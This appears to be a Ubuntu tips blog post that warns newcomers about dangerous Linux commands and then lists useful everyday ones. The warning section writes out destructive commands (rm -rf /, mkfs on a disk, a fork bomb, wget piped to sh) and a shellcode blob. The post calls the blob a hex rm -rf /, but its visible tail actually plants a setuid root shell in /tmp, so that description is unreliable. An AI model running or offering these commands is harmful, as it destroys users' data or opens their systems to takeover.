Deadly Linux Commands to avoid - Ubuntu TipsnTricks

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

Useful Linux Commands - Ubuntu TipsnTricks

Execute each command as root, which is safer than actually switching into root via "su".

ifconfig
Displays the network card connection/configuration.

sudo apt-get install PackageName
Will install the whatever "PackageName" I typed and the dependancy files.

sudo shutdown -h now
Shuts down my Ubuntu and powers it off right away.

&&
Command to complete more that one action. For example:
sudo make && make install
Which runs the "make" script and then installs the "made" package.

ping 10.0.1.1
Sends test packets to whatever IP you type in, to help troubleshoot network connections.

apt-get moo
Just to look smart! Try it!

cat /etc/issue
Displays the current Ubuntu version.

wget http://syserr.com/stuff/madwifi-cvs-20051025.tar.gz

Will download the file from any URL you enter after "wget"

tar -zxfv madwifi-cvs-20051025.tar.gz
Will uncompress the downloaded file
z means "Gunzip(uncompress) it before extracting, used on file ending in .tar.gz or .tgz"
x means "Extract the contents of the TAR file"
f means "Filename to follow"
v means "Verbose - display contents as it is tarring or extracting"

chmod +x install.sh
Command that says "Make the script file install.sh executable". I sometimes run into this after using wget and trying to run installer scripts.

sudo apt-get autoclean
Removes partial packages.

sudo cp /home/roger/backups/bk03072008.tar.gz /var/www/downloads
Copies a file from one directory to another directory. (in this case the file bk03072008.tar.gz was copied to the /var/www/downloads directory).
If you don't want to copy but move the file, change cp to mv.

find . -name "*.odt"

When looking for OpenOffice documents (in the current directory and all it's subdirectories) or find ./roger -name network_notes.odt when I know the exact name of the file.

..
Move up one level in the directory structure.

iwlist scan
Dislay wireless networks that are in range.

mkisofs -V LABEL -r dir | gzip > backups.iso.gz
Makes a CD image of the backup directory contents

cdrecord -v dev=/dev/cdrom blank=fast
Quick command to erase a CDRW

history -c
In a multiuser environment, it is sometimes not good to leave history. Of course you can just "exit" to leave the terminal.

arch
Displays the processor architecture so I know if I should download i386, i686 based application pakages.

whereis something
Displays where "something" is stored.
There are 100's more. But these are the ones I tend to use more often. As usual, I hope this helps others!

And... one for the road...
If you want to create a file called "me", just "touch me"